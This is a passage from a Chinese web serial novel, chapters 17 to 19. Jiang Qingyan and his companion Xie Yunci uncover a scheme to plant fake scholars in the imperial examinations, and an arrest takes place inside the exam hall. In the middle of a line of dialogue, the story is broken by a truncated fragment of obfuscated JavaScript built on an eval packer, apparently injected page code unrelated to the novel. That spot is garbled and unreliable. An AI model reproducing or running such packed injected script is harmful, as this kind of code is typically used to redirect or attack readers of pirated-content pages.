李崇明摆手示意他坐下，自己在桌边另一张椅子上坐下，从袖中取出一个小布包，放在桌上。 布包里是几枚铜钱——与李慕言那枚一样，边缘有锯齿，中间穿孔，系红绳。 “六扇门连夜排查，在京城又发现三处有这种铜钱的地方。”李崇明沉声道，“一处是城南‘广源当铺’，一处是城西‘福寿茶馆’，还有一处……” 他顿了顿，看向江清砚:“贡院西墙外的‘文魁笔庄’。” 贡院。 江清砚心头一跳。果然，还是扯到了贡院。 “这三处地方，表面上看都是正经生意，但暗地里……”李崇明拿起一枚铜钱，在指尖转动，“都与水鬼帮有过往来。广源当铺收过水鬼帮销赃的货物，福寿茶馆是他们的接头点，文魁笔庄……则是替他们伪造身份文牒的地方。” 伪造文牒。 江清砚想起老君洞地下那些草偶，那些练习易容的器具，还有那些被掳来“调教”的举子…… “他们想让人冒名顶替，混进科举？”他轻声问。 “恐怕不止。”李崇明摇头，“若是简单的冒名顶替，没必要闹出书肆失窃这么大动静。而且……” 他看向谢云辞:“谢总捕，你来说。” 谢云辞点头，接过话头:“我查了那几家书肆失窃的文集，发现一个共同点——那些文集的作者，要么已经失踪，要么……根本不存在。” “不存在？”江清砚一怔。 “对。”谢云辞从怀中取出一张纸，上面列着十几个名字，“《江南三杰文集》的三位作者，户籍档案显示，其中两人三年前已病故，一人远赴岭南经商，下落不明。《北地才子策论》的作者，查无此人。《会试十年真题详解》的编者，用的是化名。” 他顿了顿，继续道:“更奇怪的是，这些文集虽然署名不同，但文风、笔法却有惊人的相似之处——像是出自同一人之手，或者……同一个‘作坊’。” 江清砚拿起那张名单，目光在那些名字上缓缓移动。忽然，他手指停在一个名字上—— 周文远。 这个名字，他在水鬼帮的账本上见过。备注是:“文货，需熟读《周礼》，擅骈文，年二十许。” 而眼前这张名单上，《周礼新解》的作者，就是周文远。 “这个人……”江清砚抬头，“还活着吗？” 谢云辞摇头:“户籍档案显示，周文远，苏州吴县人，永昌十三年秀才，永昌十六年病故。但《周礼新解》是永昌十七年刊印的。” 人死了一年，还能出书？ 李崇明冷笑:“不止如此。我们查了刊印《周礼新解》的书局，发现那书局三年前就倒闭了，东家不知所踪。市面上流通的《周礼新解》，都是盗印版。” 江清砚沉默了。 盗印、冒名、伪造身份……这一环扣一环，是个完整的链条。 “他们是在‘造人’。”他缓缓道，“掳来有才华的举子，抹去他们的过去，给他们新的身份、新的履历、甚至……新的作品。然后通过这些‘作品’造势，让他们在科举前就小有名气。等到了考场……” “等到了考场，就算他们考得再好，也没人会怀疑。”李崇明接道，“因为大家都会觉得，那是‘江南才子’、‘北地俊杰’应有的水平。” 好毒的计策。 这样一来，那些被掳的举子，就成了水鬼帮操控的傀儡。他们替傀儡扬名，替傀儡铺路，等傀儡高中，再通过傀儡攫取权力、财富…… “那观澜书院在其中扮演什么角色？”江清砚问。 李崇明脸色更沉:“这正是问题所在。观澜书院的山长柳文渊，这几日称病不出，但据暗探回报，柳府后院这几日频繁有书生模样的人出入。那些人……都与被盗文集的作者特征相符。” 他顿了顿，补充道:“而且，赵炎最近也常去柳府。” 赵炎。 吏部侍郎之子，今日刚来挑衅的纨绔。 江清砚脑中线索飞快串联——赵炎去春风阁密谈，赵炎去柳府，柳文渊与都水司官员往来，都水司与水鬼帮勾结…… 一张庞大的网，渐渐清晰。 “李大人打算如何？”他问。 李崇明站起身，走到窗边，看着楼下街景，沉默良久，才道:“圣上已下密旨，此案一查到底，无论牵扯到谁，绝不姑息。但……时机未到。” 他转身，看向江清砚:“柳文渊是三朝元老，门生故旧遍布朝野。赵文远是吏部侍郎，掌管官员铨选。都水司那边更是盘根错节。没有铁证，动不了他们。” “所以需要证据。”江清砚轻声道。 “对。”李崇明点头，“而现在最好的突破口，就是科举。他们若真要在科举上动手脚，必会露出马脚。届时人赃并获，才能一网打尽。” 他走到江清砚面前，目光如炬:“江清砚，本官需要你帮忙。” “大人请讲。” “照常赴考。”李崇明一字一句道，“你是揭开水鬼帮盖子的人，他们必然会关注你。你若按兵不动，他们反而会疑心。但只要你进了考场，他们就会有所动作——要么拉拢你，要么对付你。无论哪种，都是我们的机会。” 江清砚沉默片刻，缓缓点头:“学生明白。” “但切记，”李崇明语气严肃，“安全第一。你如今身体状况特殊，若有危险，立刻撤出。证据可以再找，命只有一条。” 这话说得恳切，江清砚心中微暖:“多谢大人关心。” 李崇明又交代了几句，便起身告辞。他走时没有走正门，而是从后窗翻出——二楼对谢云辞来说如履平地，李崇明虽年过五旬，身手却依旧矫健，几个起落就消失在巷子深处。 房间里重归寂静。 江清砚看着桌上那些铜钱，指尖无意识地摩挲着一枚的锯齿边缘。 “你在想什么？”谢云辞问。 “想赵炎。”江清砚抬起头，“他今日来，真的只是挑衅吗？” 谢云辞皱眉:“你的意思是……” “太刻意了。”江清砚轻声道，“赵炎那种纨绔，若真想给我下马威，大可派几个家丁来，何必亲自登门？而且他说的那些话……听起来嚣张，实则空洞，更像是在……试探我的反应。” 试探。 这个词今天第二次出现。 谢云辞眼神锐利起来:“你是说，他是受人指使？” “很有可能。”江清砚站起身，走到窗边，看着街角那两个假装小贩的“尾巴”，“若真是试探，那说明……有人开始注意我了。而且这个人，恐怕就在赵炎背后。” 是谁？ 赵文远？柳文渊？还是都水司的某位官员？ 不得而知。 “要不要……”谢云辞手按在匕首上，“抓一个‘尾巴’来问问？” “打草惊蛇。”江清砚摇头，“让他们盯着吧。我们该做什么还做什么。” 他说着，重新坐回书桌前，拿起笔，继续批注。 谢云辞看了他片刻，忽然道:“你就不怕？” “怕什么？” “怕考场上有变故，怕那些人狗急跳墙，怕……”谢云辞顿了顿，“怕你的身体撑不住。” 江清砚笔尖一顿，抬起头，看向谢云辞。 晨光透过窗纸，在他眼中映出细碎的光。那光芒清澈而坚定，像深潭里映着的星辰。 “怕。”他轻声道，“但怕，就不做了吗？” 他顿了顿，声音更轻:“谢兄，我这条命是你救的。从破庙到现在，我本该死了很多次。能活到今天，已是侥幸。既然活着，总要做些该做的事。” “该做的事？”谢云辞问。 “揭穿阴谋，还那些枉死之人公道。”江清砚缓缓道，“还有……帮你报仇。” 谢云辞浑身一震。 他看着江清砚，许久，才低声道:“你其实不必……” “我说过，要陪你一起。”江清砚打断他，语气平静却坚定，“君子一言，驷马难追。” 四目相对。 谢云辞胸中那颗共同的心脏，忽然跳动得快了一拍。 同生共死。 这四个字，在这一刻有了更重的分量。 “好。”谢云辞最终只说了一个字。 但这一字，已足够。 接下来的几天，日子过得平静无波。 江清砚每日读书温习，偶尔与李慕言、王璞交流学问。谢云辞则早出晚归，说是“访友”，实则是去六扇门协助查案，或是暗中监视那些有铜钱标记的地点。 赵炎没再出现，街角那两个“尾巴”也撤了，仿佛那日的风波从未发生。 但江清砚知道，平静只是表象。 第五日，黄昏时分，客栈小二送上来一封信。 信是素白信封，没有署名，只写着“江清砚亲启”。信封里有张洒金笺，上面只有一行字: “酉时三刻，春风阁天字三号雅间，恭候大驾。” 落款是一个简单的图案——朵莲花。 都水司的印记。 江清砚将信递给谢云辞。谢云辞看后，眉头紧皱:“不能去。” “必须去。”江清砚却道，“这是他们第一次正式接触。若不去，反而显得我们心虚。” “太危险。”谢云辞沉声道，“春风阁那种地方，鱼龙混杂，若他们设下埋伏……” “所以你要跟我一起去。”江清砚收起信笺，神色平静，“但你不能进雅间，得在附近接应。” 谢云辞盯着他看了半晌，最终妥协:“好。但若有危险，立刻发信号。” 他从怀中取出一个小巧的竹筒，只有手指粗细，筒 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上了三楼，环境清静了许多。走廊铺着厚厚的地毯，两侧雅间门扉紧闭，隐约能听到里面传出的琴声和谈笑声。 天字三号在走廊尽头。龟公在门前停下，躬身道:“公子请进，里面已有贵客等候。” 江清砚点头，推门而入。 雅间很大，布置清雅，不像青楼，倒像文人书房。墙上挂着几幅字画，看落款都是名家真迹。临窗摆着一张紫檀木圆桌，桌上已摆好了酒菜，但只有一副碗筷。 桌边坐着一个人。 一个江清砚没想到会在这里见到的人—— 薛大夫。 那个为他施行换心手术的老者。 薛大夫见他进来，微微一笑，指了指对面的座位:“江公子，请坐。” 江清砚站在原地，没有动。 “薛大夫……约学生来此，有何指教？”他警惕地问。 “放心，没有恶意。”薛大夫倒了杯茶，推到他面前，“只是想与你聊聊。关于你的身体，关于……你胸中那颗心。” 江清砚心中一凛。 他缓缓坐下，却没有碰那杯茶。 “薛大夫有话直说。” 薛大夫看着他，眼中闪过复杂的神色:“手术很成功，但你与谢云辞的联结，比我想象的更深。这几日我暗中观察，发现你们不仅心跳同步，连情绪、甚至……某些细微的感知，都在互相影响。” 江清砚沉默。 的确，这几日他偶尔能模糊地感知到谢云辞的情绪，谢云辞似乎也能察觉他的不适。但他以为这是心理作用，没想到…… “这是好事，也是坏事。”薛大夫继续道，“好事是，你们的生命力会因此更强。坏事是……若一方遭遇剧痛或重创，另一方也会感同身受。” 他顿了顿，声音低沉:“江清砚，你要知道，你现在不是一个人了。你的命，连着谢云辞的命。你若出事，他也逃不掉。” 江清砚握紧了拳。 他当然知道。 从决定接受手术的那一刻起，他就知道。 “薛大夫今日约我来，不只是为了说这些吧？”他抬起眼，目光清亮。 薛大夫笑了:“聪明。确实还有一事——” 他从袖中取出一枚铜钱，放在桌上。 又是那种铜钱。边缘锯齿，中间穿孔，系红绳。 “这枚铜钱，是从都水司一位郎中身上找到的。”薛大夫缓缓道，“那位郎中……三日前暴毙家中，死因是‘突发心疾’。但我在验尸时发现，他真正的死因是中毒——一种罕见的、能诱发心疾发作的毒。” 江清砚瞳孔微缩。 “更巧的是，”薛大夫看着他，“那位郎中，正是三年前负责漕运稽查的周郎中的……顶头上司。” 周郎中。 那位在断龙峡“遇匪身亡”的清官。 “薛大夫的意思是……” “我的意思是，水鬼帮的案子，牵扯的人比你想象的更多，更深。”薛大夫收起铜钱，神色严肃，“都水司里有人想灭口，有人想掩盖，还有人……想借着这个机会，扳倒对手。” 他站起身，走到窗边，看着楼下繁华的街景。 “江清砚，你是个聪明人，应该明白——有些浑水，蹚不得。你现在最该做的，是安心备考，考取功名，远离这些是非。” 江清砚也站起身。 “薛大夫的好意，学生心领。”他轻声道，“但有些事，总要有人去做。既然学生已经蹚了这浑水，就没有中途抽身的道理。” 薛大夫转身看着他，许久，叹了口气。 “罢了，我早知道劝不动你。”他摆摆手，“去吧。记住，月圆之夜前，一定要来复诊。还有……小心赵炎。他背后的人，不简单。” 江清砚点头，深深一揖，转身走出雅间。 门外，谢云辞正靠墙而立，见他出来，立刻迎上:“没事吧？” “没事。”江清砚摇头，“走吧。” 两人下楼，离开春风阁。夜色已深，街上行人渐稀。 回客栈的路上，江清砚将薛大夫的话复述了一遍。谢云辞听完，脸色凝重。 “都水司开始灭口了……”他低声道，“这说明，他们慌了。” “也说明，我们离真相越来越近了。”江清砚看着夜空中的一轮弯月，轻声道。 离月圆之夜，还有十天。 离会试，还有十五天。 而前方的路，依旧迷雾重重。 但他们必须走下去。 因为已经没有退路了。 18. 第 18 章 第十八章暗潮预警 从春风阁回来的第二日，江清砚起了低烧。 不是风寒，不是心疾发作，而是一种莫名的、从骨子里透出来的疲倦和寒意。他靠在床头，脸色白得近乎透明，连握书的力气都没有，只能让谢云辞将《礼记》摊在膝上，勉强看着。 薛大夫给的药服下去了，烧却退得很慢。到午时，额头依旧滚烫，人已昏昏沉沉。 谢云辞坐在床边，三指搭着他的腕脉，眉头紧皱——脉象虚浮紊乱，不像是寻常病症，倒像是……某种反噬。 同生共死之术的反噬。 他想起薛大夫的叮嘱:“此术逆天，每月月圆之夜必有心脉逆冲。但若平日操劳过度，或心神损耗太大，也可能提前发作。” 心神损耗。 江清砚这几日虽然表面平静，实则无时无刻不在思考水鬼帮的案子，科举的压力也沉沉压在心头。再加上昨日春风阁那番对话…… “我没事。”江清砚睁开眼，声音虚弱，“只是有点累，歇歇就好。” 谢云辞没说话，起身走到窗边，推开窗。深秋的风灌进来，带着凉意，却吹不散屋内的沉闷。 楼下街道忽然传来急促的马蹄声，一队官差飞驰而过，直奔城南方向。行人纷纷避让，议论声隐约传来: “又出事了？” “听说是福寿茶馆……死人了！” 福寿茶馆。 谢云辞眼神一凛。那是李崇明提到过的、有水鬼帮铜钱标记的接头点之一。 他回头看向江清砚。后者也听到了，挣扎着要起身:“谢兄……” “躺着。”谢云辞按住他，“我去看看。” “我也去。” “就你现在这样？”谢云辞声音严厉，“你连站都站不稳，去了能做什么？” 江清砚抿唇不语，眼中却有不甘。 谢云辞看着他苍白的脸，终究还是叹了口气:“你先歇着，我去探探情况。若有要紧消息，立刻回来告诉你。” 江清砚这才点头。 谢云辞又倒了碗热水放在他手边，确认药瓶都在枕边，这才匆匆出门。 房门关上，屋里重归寂静。 江清砚靠在床头，闭上眼，胸口那颗心脏跳得沉重而缓慢。他能感觉到，那不是自己的疲惫——是谢云辞的。方才谢云辞指尖搭在他腕上时，他分明感觉到一股压抑的焦灼和愤怒。 他们在为同一件事忧心。 窗外的风声更急了。深秋的京城，天总是阴沉沉的，像要下雨，却又迟迟不下，只憋着一股闷气。 约莫过了半个时辰，楼梯上响起脚步声。不是谢云辞——脚步很轻，带着犹豫，在门外停下，轻轻叩门。 “江兄，是我，李慕言。” 江清砚睁开眼:“请进。” 门开了，李慕言走进来，手里提着个食盒。他见江清砚脸色苍白地靠在床头，吓了一跳:“江兄，你这是……” “偶感风寒，无碍。”江清砚勉强坐直身子，“李兄怎么来了？” “听说你病了，带了些粥来。”李慕言将食盒放在桌上，打开，里面是还冒着热气的白粥和几样小菜，“客栈的饭菜油腻，你生病了该吃清淡些。这是我让厨房特意熬的。” 江清砚心中一暖:“多谢李兄。” 李慕言盛了碗粥递给他，在床边坐下，看着他小口喝粥，犹豫片刻，低声道:“江兄，我来还有一事……昨夜，王璞出事了。” 江清砚手一顿。 “昨夜王璞去春风阁查探赵炎的事。”李慕言声音发颤，“他说有同乡在春风阁当差，能打听到消息。我就让他去了……谁知他一夜未归，今早被人发现晕倒在城南小巷里，身上财物被劫，还……还被打断了腿。” 江清砚放下粥碗:“现在人呢？” “送回客栈了，大夫刚来看过，说至少要养三个月。”李慕言眼圈泛红，“都怪我，不该让他去……” “不是你的错。”江清砚打断他，神色凝重，“王璞去春风阁的事，还有谁知道？” “只有我和他，还有……那个同乡。”李慕言忽然想起什么，“对了，王璞说，他昨夜确实在春风阁见到了赵炎。赵炎和一个中年文士在雅间密谈，他本想偷听，但刚靠近就被发现了。之后他仓皇逃走，在巷子里被人袭击……” 中年文士。 江清砚想起昨夜春风阁天字三号雅间里的薛大夫，但随即摇头——薛大夫不会做这种事。 “那个文士，王璞可看清长相？” “他说没看清，只记得那人穿青色长衫，左手拇指戴了个玉扳指。”李慕言努力回忆，“哦对了，王璞还说，他逃跑时听到赵炎喊了一声‘柳先生’……” 柳先生。 柳文渊？ 江清砚心头一沉。若真是柳文渊，那事情就严重了——观澜书院的山长，三朝元老，竟与赵炎这种纨绔在青楼密谈？ “李兄，”他沉声道，“这件事，到此为止。你和王璞都不要再查了。” “可是……” “没有可是。”江清砚看着他，目光严肃，“对方已经动手了。王璞只是被打断腿，已是万幸。若再查下去，恐怕下次就不只是断腿了。” 李慕言脸色发白，最终点了点头。 送走李慕言，江清砚靠在床头，胸中那颗心脏跳得更乱了。他能感觉到谢云辞的情绪——愤怒、焦灼，还有……杀意。 福寿茶馆那边，恐怕情况不妙。 又过了约莫一刻钟，谢云辞回来了。 他脸色阴沉，身上还带着淡淡的血腥气。一进门就反手锁上门，快步走到江清砚床边。 “怎么样？”江清砚问。 “福寿茶馆的掌柜死了。”谢云辞声音冰冷，“昨夜被人割喉，尸体今早才发现。现场很干净，没有打斗痕迹，像是熟人作案。” 他顿了顿，继续道:“但我在茶馆后院发现了一样东西——” 他从怀中取出一个油纸包，打开，里面是一枚铜钱。边缘锯齿，中间穿孔，系红绳。但这枚铜钱的红绳上，沾着暗褐色的血渍。 “这是在掌柜尸体手里发现的。”谢云辞道，“他临死前紧紧攥着这枚铜钱，指甲都抠进了肉里。” 江清砚接过铜钱细看。齿数是二十二，与之前见过的都不同。红绳上的血已经凝固，呈暗褐色，但凑近闻，还能闻到淡淡的血腥味。 “掌柜的死，是灭口。”他轻声道，“他知道什么不该知道的事，所以被杀了。” “不止。”谢云辞在桌边坐下，倒了杯冷茶一饮而尽，“我查了茶馆的账本，发现近三个月，茶馆频繁有书生模样的人出入。其中几个……就是那些被盗文集的‘作者’。” “他们去茶馆做什么？” “密谈。”谢云辞冷笑，“账本上记着雅间预订记录，每次都是‘柳先生订，招待文友’。时间多在午后或傍晚，每次两到三个时辰。” 柳先生。 又是柳文渊。 江清砚闭上眼，脑中线索飞快串联——观澜书院、被盗文集、福寿茶馆、赵炎、柳文渊…… “还有一件事。”谢云辞的声音将他拉回现实，“李尚书派人传话，说都水司又死了两个人——一个主事，一个书吏。都是‘突发心疾’，但薛大夫验尸后发现是中毒。而且……” 他顿了顿，眼神更冷:“那两个人，都与三年前周郎中的案子有关。周郎中查漕运弊案时，他们曾是他的下属。” 都水司开始大规模灭口了。 这说明什么？ 说明他们慌了，说明水鬼帮的案子已经触及了核心，说明……有人要狗急跳墙了。 江清砚睁开眼，看向谢云辞:“谢兄，我们可能……没有多少时间了。” “我知道。”谢云辞站起身，走到窗边，看着阴沉的天色，“李尚书已经调集人手，暗中监控所有可能与案子有关的人。但对方也在行动——福寿茶馆的掌柜被杀，都水司接连灭口，王璞被打……他们是在清除障碍，也是在警告我们。” 警告。 江清砚想起赵炎那日嚣张的嘴脸。那不是单纯的纨绔挑衅，那是背后的势力在示威——看，我们能随时要你的命。 “会试……”他喃喃道，“他们一定会在会试上动手脚。因为那是最后的机会——若那些被他们‘培养’的傀儡中了进士，入了官场，就再难扳倒了。” 谢云辞转身看他:“你有什么想法？” 江清砚沉默良久，缓缓道:“他们若要动手，无非两个方向:一是在考场外，劫持或替换考生；二是在考场内，舞弊。” “劫持或替换考生，动静太大，容易暴露。”谢云辞分析道，“而且会试考场在贡院，守卫森严，想混进去不容易。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“首先，我要参加会试，正常参加。”江清砚缓缓道，“我是他们眼中的变数，他们一定会关注我。只要我进了考场，他们就会有所动作——要么拉拢，要么陷害。无论哪种，都是机会。” 他顿了顿，继续道:“其次，李尚书那边，要加强对贡院的监控，尤其是那些与观澜书院、都水司有关的人。还要查清楚，那些被盗文集的‘作者’，到底被他们藏在哪里。” “最后……”他看向谢云辞，“谢兄，你要帮我查一件事。” “什么？” “查赵文远。”江清砚轻声道，“吏部侍郎赵文远，赵炎的父亲。我总觉得，他不只是纵容儿子那么简单。能在吏部坐到侍郎的位置，绝不可能是个糊涂人。他与柳文渊、都水司之间，到底是什么关系？” 谢云辞点头:“我明白了。” 窗外雨声渐急，秋风更凉。 江清砚重新躺下，闭上眼，胸中那颗心脏依旧跳得沉重，但已经平稳了许多。他能感觉到，谢云辞的情绪也渐渐冷静下来——那是杀戮前的冷静，像磨利的刀锋，沉默而危险。 “谢兄，”他忽然轻声问，“若此案了结，你的仇报了，你想做什么？” 谢云辞一怔。 这个问题，他从未想过。六年来，他活着的唯一目的就是报仇。仇报之后呢？他不知道。 “不知道。”他如实答。 “那……跟我回润州吧。”江清砚睁开眼，看着他，眼中有一丝难得的柔软，“润州山清水秀，适合养病。我们可以在那里开间医馆，你当护卫，我当大夫。虽不能大富大贵，但……安稳。” 安稳。 这个词对谢云辞来说，太遥远了。 但他看着江清砚清澈的眼睛，忽然觉得，那样的生活，或许……也不错。 “好。”他说。 一字千钧。 江清砚笑了，那笑意很浅，却直达眼底。 窗外，秋雨潇潇。 屋内，灯火昏黄。 两个萍水相逢的少年，在阴谋的漩涡中心，许下了一个关于未来的约定。 虽然他们都知道，前路艰险，生死难料。 但至少此刻，他们不是独行。 19. 第 19 章 第十九章考场之内 十月十五，会试开考。 天未亮，贡院外已是人山人海。数千名举子提着考篮，在寒风中排队等候入场。灯笼的光连成一片，映着一张张或紧张、或兴奋、或憔悴的脸。 江清砚裹着厚实的鹤氅，提着考篮站在队伍中。他的脸色依旧苍白，但经过半个月的调理，已经比之前好了许多。薛大夫给的药按时服用，月圆之夜的心脉逆冲虽如期而至，但在谢云辞的护持和薛大夫的针药下，总算有惊无险地熬了过去。 谢云辞站在他身后，一身深蓝劲装，腰间配着六扇门的令牌——他今日以监考官的身份随队入贡院。这是李崇明的安排，名为协查考场秩序，实则是保护江清砚，同时暗中监控可能出现的异常。 队伍缓慢前行。每个考生都要经过严格搜检:衣物要解开，考篮要翻查，甚至连发髻都要被差役摸一遍，以防夹带。搜检的差役个个脸色严肃，动作麻利，显然都是老手。 轮到江清砚时，一个差役接过他的考篮，正要翻查，谢云辞忽然上前一步，亮出令牌:“这位江公子身体不适，动作轻些。” 差役见是六扇门的人，连忙点头哈腰:“是，是，小的明白。” 搜检果然轻柔了许多。江清砚配合地解开外衣，让差役检查内衣——这是规矩，再尊贵的考生也不能免。好在他早有准备，穿的都是单薄的棉布中衣，没有夹层。 考篮里的东西也被一一取出:笔墨纸砚、几块干粮、一个小水囊，还有薛大夫特制的药瓶。差役拿起药瓶，拔开塞子闻了闻，眉头皱起:“这是什么？” “学生患有心疾，这是救命的药。”江清砚温声道。 差役看向谢云辞。后者点头:“确实是药，我作保。” 有六扇门总捕作保，差役自然不敢多问，将东西放回考篮，又检查了笔杆、砚台，确认没有夹带，才放行。 过了搜检，便是领考号。贡院的号舍按《千字文》编号，江清砚领到的是“地字十九号”，在贡院西侧，位置不算好，但也不算差。 谢云辞一路护送他到了号舍前。贡院内部，除了考生和考官，其他人不得入内，谢云辞只能送到这里。 “万事小心。”他低声道，将一个更小的竹筒塞进江清砚手里——比之前那个更精致，筒身刻着细密的花纹，“若遇危险，按下底部的机关，我会立刻知道。” 江清砚点头，将竹筒贴身收好，提着考篮走进号舍。 号舍很小，宽三尺，深四尺，高六尺，仅容一人转身。三面是墙，一面是栅栏门。里面只有一张木板搭成的桌案，一个矮凳，角落里放着个马桶——这就是未来三天两夜的栖身之所。 江清砚将考篮放在桌案上，开始整理。笔墨纸砚摆放整齐，干粮和水囊放在角落，药瓶贴身收好。做完这些，他才在矮凳上坐下，闭目养神。 辰时正，三声鼓响，考试开始。 考题发下来了，厚厚一沓，从四书五经到策论时务，内容庞杂。江清砚展开考卷，从头到尾浏览一遍，心中已有成算——这些题目他大多温习过，虽有些刁钻，但难不倒他。 他提笔，蘸墨，开始在草稿纸上打草稿。笔尖划过纸面，发出沙沙的轻响，在寂静的贡院里格外清晰。 贡院很大，数千间号舍整齐排列，像一个个小小的囚笼。考生们埋头答卷，只有偶尔的咳嗽声、翻纸声，还有巡考官沉重的脚步声。 江清砚答得很顺利。经义题引经据典，策论题针砭时弊，他都写得条理清晰，文采斐然。但写着写着，他忽然觉得有些不对劲。 太安静了。 不是考生们的安静，而是……整座贡院的安静。巡考官的脚步声似乎少了许多，而且都集中在某个方向——东侧？ 他停下笔，侧耳倾听。 果然，脚步声都往东边去了，而且很急。隐约还能听到几声低语，但听不真切。 出事了。 江清砚心头一紧。他想起谢云辞的话——对方一定会在会试上动手。 会是什么？ 舞弊？骚乱？还是…… 他握紧了手中的笔，强迫自己冷静下来。无论发生什么，他现在能做的，只有继续答卷。若真有事，谢云辞会处理。 他重新提笔，继续书写。但这一次，他留了心，不时停下笔，倾听外面的动静。 约莫过了一炷香时间，脚步声又回来了，而且更多、更杂。不止巡考官，还有……兵士的脚步声？甲胄碰撞的铿锵声？ 江清砚抬头，从栅栏门的缝隙往外看。 一队兵士快步走过，个个手持长矛，神色肃穆。为首的是个穿着官袍的中年官员，面色铁青，正是今科会试的副主考之一——礼部郎中陈文正。 陈文正经过江清砚的号舍时，脚步忽然顿了顿，目光透过栅栏，落在他身上。 那眼神很复杂，有审视，有疑虑，还有……一丝不易察觉的慌乱？ 只一瞬，陈文正就移开目光，继续往前走了。兵士们紧随其后，脚步声渐渐远去。 江清砚的心沉了下去。 陈文正他认识——不，应该说，他在水鬼帮的账本上见过这个名字。虽然用的是化名，但备注里的特征对得上:礼部任职，负责科举事务，好金石收藏…… 账本上记载，陈文正曾通过水鬼帮“购买”过一批前朝碑拓，代价是……为某个“文货”疏通关系。 那个“文货”是谁？ 江清砚脑中飞快回想账本内容。他记忆力极好，几乎过目不忘，很快就锁定了一条记录: “丙字十七号，男，二十许，擅经义，通音律。陈公验货，言‘可造之材’，酬金三千两。备注:需入今科会试甲榜。” 今科会试甲榜，就是前三十名。 陈文正要保一个人进甲榜。 而这个人，现在就在贡院里！ 江清砚猛地站起身，又因动作太急牵动胸口，闷哼一声坐了回去。他按住心口，深吸几口气，强迫自己冷静。 不能慌。 他现在在考场里，什么也做不了。唯一能做的，就是完成考试，然后……找出那个人。 他重新提笔，但这一次，答题的思路变了。 原本他打算中规中矩，稳妥为上。但现在，他改了主意——他要考好，考得非常好，好到足以引起所有人的注意。 因为只有这样，他才能进入那些人的视野，才能接近真相。 接下来的答题，江清砚几乎用尽了毕生所学。经义题他旁征博引，策论题他针砭时弊，每一篇文章都写得滴水不漏，文采飞扬。他甚至在其中一篇策论里，暗藏了关于漕运弊案的隐喻——若阅卷官是明眼人，一定能看出端倪。 写到最后一题时，已是第二日傍晚。 天色渐暗，号舍里点起了蜡烛。烛光摇曳，映着江清砚苍白却专注的脸。他握着笔，手腕已经酸痛，但眼神依旧清亮。 最后一题是时务策，题目是:“论漕运之弊与革”。 看到这个题目，江清砚的手微微一颤。 太巧了。 巧得像……有人特意为他准备的。 他抬起头，看向栅栏门外。夜色中，贡院像一头沉睡的巨兽，安静得可怕。但在这安静之下，暗流汹涌。 他没有犹豫，提笔就写。 从漕运的历史沿革，到如今的积弊;从水鬼帮的猖獗，到都水司的失职;从底层漕工的苦难，到朝廷政策的疏漏……他写得酣畅淋漓，字字珠玑，却又字字见血。 写到一半时，外面忽然传来骚动。 不是脚步声，而是……哭声？还有怒骂声？ 江清砚停下笔，仔细倾听。 声音从东侧传来，而且越来越近。隐约能听到几个词:“舞弊……抓到了……押出去……” 果然。 他放下笔，走到栅栏门边，透过缝隙往外看。 只见一队兵士押着几个人走过。被押的人穿着举子服饰，个个面如死灰。其中一人江清砚认得——是江南有名的才子，姓周，据说诗词双绝，今科会试的热门人选。 周才子被两个兵士架着，步履踉跄，口中喃喃:“冤枉……我是冤枉的……” 但兵士根本不听，粗暴地将他往外拖。 江清砚的目光落在周才子腰间——那里挂着一块玉佩，玉佩的样式……他好像在哪儿见过？ 对了，春风阁。那夜薛大夫给他看的那枚铜钱，系的红绳上，就挂着一小块碎玉，与这块玉佩的质地、颜色一模一样。 所以周才子就是那个“丙字十七号”？陈文正要保进甲榜的人？ 可他现在为什么被抓了？ 江清砚正疑惑，又有一队人走过。这次被押的是个官员——正是陈文正！ 陈文正官帽已掉，发髻散乱，脸色惨白如纸。他被兵士押着，经过江清砚的号舍时，忽然抬起头，看向他。 那一瞬间，江清砚看到了陈文正 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胸口那颗心脏跳得沉重而缓慢，他能感觉到谢云辞的担忧——通过那奇妙的联结，他隐约感知到谢云辞就在贡院外，焦灼地等待着。 辰时正，收卷的鼓声响起。 差役们挨个号舍收卷。轮到江清砚时，那差役多看了他两眼，才收走考卷，封入专用布袋。 考卷收完，栅栏门打开，考生们鱼贯而出。 三天不见天日，再出来时，所有人都面色憔悴，脚步虚浮。但没有人说话，气氛压抑得可怕——陈文正和周才子被抓的事，已经传开了。 江清砚提着空考篮，随着人流往外走。刚出贡院大门，就看到了谢云辞。 谢云辞站在一棵老槐树下，一身风尘，眼中布满血丝，显然这三天也没怎么休息。见到江清砚出来，他快步迎上，上下打量:“怎么样？” “考完了。”江清砚轻声道，“里面……出事了？” 谢云辞点头，扶住他胳膊，压低声音:“回去说。” 两人挤出人群，上了早已等候在街角的马车。 车厢里，江清砚终于支撑不住，靠在了车壁上，脸色白得吓人。谢云辞从怀中取出药瓶，倒出一粒药丸递给他。 江清砚吞下药，闭目调息片刻，才问:“陈文正和周才子……” “都抓了。”谢云辞声音冰冷，“周才子夹带舞弊，证据确凿。陈文正收受贿赂，为他疏通关系。李尚书亲自带人搜查了陈文正的府邸，搜出账簿，上面详细记录了他与水鬼帮的交易。” “账簿？”江清砚睁开眼，“不是被销毁了吗？” “是副本。”谢云辞道，“陈文正留了一手，把每次交易都偷偷记了下来，藏在书房暗格里。大概是想作为自保的筹码，没想到……” 没想到成了催命符。 “那账簿上，有没有提到柳文渊？赵文远？” 谢云辞摇头:“只提到了观澜书院，但没有具体人名。陈文正嘴很硬，只说一切都是他个人所为，与旁人无关。” 个人所为？ 江清砚冷笑。一个礼部郎中，哪有那么大胆子，敢在会试上动手脚？背后必定有人指使。 “现在怎么办？”他问。 “李尚书已经进宫面圣。”谢云辞道，“此事牵扯科举，圣上震怒，下令彻查。所有与陈文正有过往来的官员、考生，都要接受调查。” 他顿了顿，看向江清砚:“你……恐怕也要被问话。” 江清砚点头。他早有预料。作为揭开水鬼帮盖子的人，又是在考场内目击了抓捕的人，被问话是必然的。 “我不怕。”他轻声道，“该说的，我都会说。” 马车驶过街道，窗外是京城繁华的街景。阳光很好，秋高气爽，但江清砚心中却沉甸甸的。 科举结束了。 但真正的风雨，才刚刚开始。 回到悦来客栈，掌柜的早已备好了热水热饭。江清砚简单洗漱，吃了点东西，就躺下了——他实在太累了。 谢云辞守在床边，看着他苍白的睡颜，手无意识地按在自己胸口。 那里，两颗心脏的跳动渐渐同步，平稳而有力。 